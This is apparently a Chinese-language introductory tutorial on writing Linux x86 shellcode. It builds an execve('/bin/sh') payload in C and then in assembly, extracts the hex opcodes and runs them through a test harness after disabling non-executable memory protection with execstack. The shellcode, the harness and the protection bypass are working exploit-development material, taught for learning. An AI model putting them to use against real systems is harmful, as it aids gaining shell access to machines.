二进制入门-打造Linux shellcode基础篇

/ 407 次浏览/ 业界新闻

二进制入门-打造Linux shellcode基础篇


本文的目的不是为了介绍如何进行恶意的破坏性活动，而是为了教会你如何去防御此类破坏性活动，以帮助你扩大知识范围，完善自己的技能，如有读者运用本文所学技术从事破坏性活动，本人概不负责。
 

0x02 什么是Shellcode

 
shellcode是用作利用软件漏洞的有效载荷的一小段代码，因为它通常启动一个命令shell，攻击者可以从中控制受攻击的机器，所以称他为shellcode。但是任何执行类似任务的代码都可以称为shellcode。 因为有效载荷的功能不仅限于一个shell。
shellcode基本的编写方式有以下三种
 

  • 直接编写十六进制操作码。

  • 使用c语言编写程序，然后进行编译，最后进行反汇编来获取汇编指令和十六进制操作码。

  • 编写汇编程序，将该程序汇编，然后从二进制中提取十六进制操作码。

 
第一种方法很极端，直接编写十六进制操作码是一件非常难得事情。下面我将带大家一步步去编写自己的shellcode。


0x03 execve系统调用

 
在Linux系统上执行程序的方式有多种，但是其中使用最广泛的一种方式就是通过借助execve系统调用。我们首先来看看execve的使用方法。


 

 
说明看起来很复杂，其实很简单。我们先使用c语言来实现它。


c语言实现execve系统调用创建shell

 
我们首先来新建一个文件：
 

 

 
我们使用vim来编写代码：
 
看完上面的介绍，使用c语言来实现就很简单了。


1
2
3
4
5
6
7
8
9
#include <unistd.h>
 
int main()
{
    char * shell[2];
    shell[0]="/bin/sh";
    shell[1]=NULL;
    execve(shell[0],shell,NULL);
}
 
然后我们使用gcc编译器来编译一下：
 

gcc test.c -o test.o

 
运行看看：
 

 

 
成功执行创建一个shell。


转向汇编语言

 
前面我们已经使用c语言来实现了，现在我们就需要用汇编语言来重写execve系统调用，其实很简单。我们先来查看一下execve系统调用号:11

 

汇编代码重写：
 
首先我们将寄存器eax清零。
 

xor eax,eax

 
然后我们将寄存器eax进行入栈操作，其实就是将字符串末尾的空字符值入栈：
 

push eax

然后将//sh入栈（由于需要对齐，因此这里用了四个字节）


push 0x68732f2f

 
最后将/bin入栈。


push 0x6e69622f

 
现在栈上已经有了全部所需数据，现在就是设置execve系统调用了。


[AppleScript] 纯文本查看 复制代码
1
2
3
4
5
6
7
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb  ;0xb表示其系统调用号的十六进制，execve的系统调用号为11
int 0x80



完整代码如下：


 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
section .text
global _start
 
_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb
int 0x80



汇编链接测试

 
首先使用nasm进行汇编



root@kali:~/demo# nasm -f elf test.asm

 
然后使用ld链接


root@kali:~/demo# ld -o test test.o

 
运行测试看看

root@kali:~/demo# ./test
#

 

0x04 提取十六进制操作码并测试Shellcode

 
获得十六进制操作码很简单，我们只需要使用objdump工具的-d选项来进行反汇编即可：
 

 

 
最后我们检查一下有没有出现空字符（\x00)。


测试shellcode

 
首先我们将十六进制操作码放入一个名为shellcode[]的缓冲区中。


 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
#include <stdio.h>
 
char shellcode[]=
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x31\xd2"
"\xb0\x0b"
"\xcd\x80";
 
int main()
{
    void (*fp) (void);
    fp=(void *)shellcode;
    fp();
}



然后我们分配一个名为fp的函数指针，然后将这个函数指针设置为shellcode[]的起始地址。最后我们执行这个函数。
现在我们编译一下，这里注意一下，编译成功后我们还是不能成功执行的，会出现段错误的提示，这是因为系统本身有数据区执行保护机制，导致在全局数据段的shellcode不能被运行，即出现段错误。
 

 

 
这里我们先安装一下execstack。


sudo apt-get install execstack

 
然后针对编译后的程序使用execstack


execstack -s 程序名

 
之后执行就OK了
 

 

总结

 
现在我们已经知道一个shellcode编写流程了，别走开，这只是基础篇，我们实现的这个shellcode缺乏实战，下一篇教程我们继续完善这个shellcode。
 
参考：
《汇编语言(第3版) 》王爽
《[科普]浅入浅出Liunx Shellcode》pr0cess


关键词：新闻动态

<< 上一篇

《黑客攻防-系统实战》--shellcode

下一篇 >>

紧急情况—在Microsoft Exchange中发现了4个频繁利用的0 day漏洞

相关文章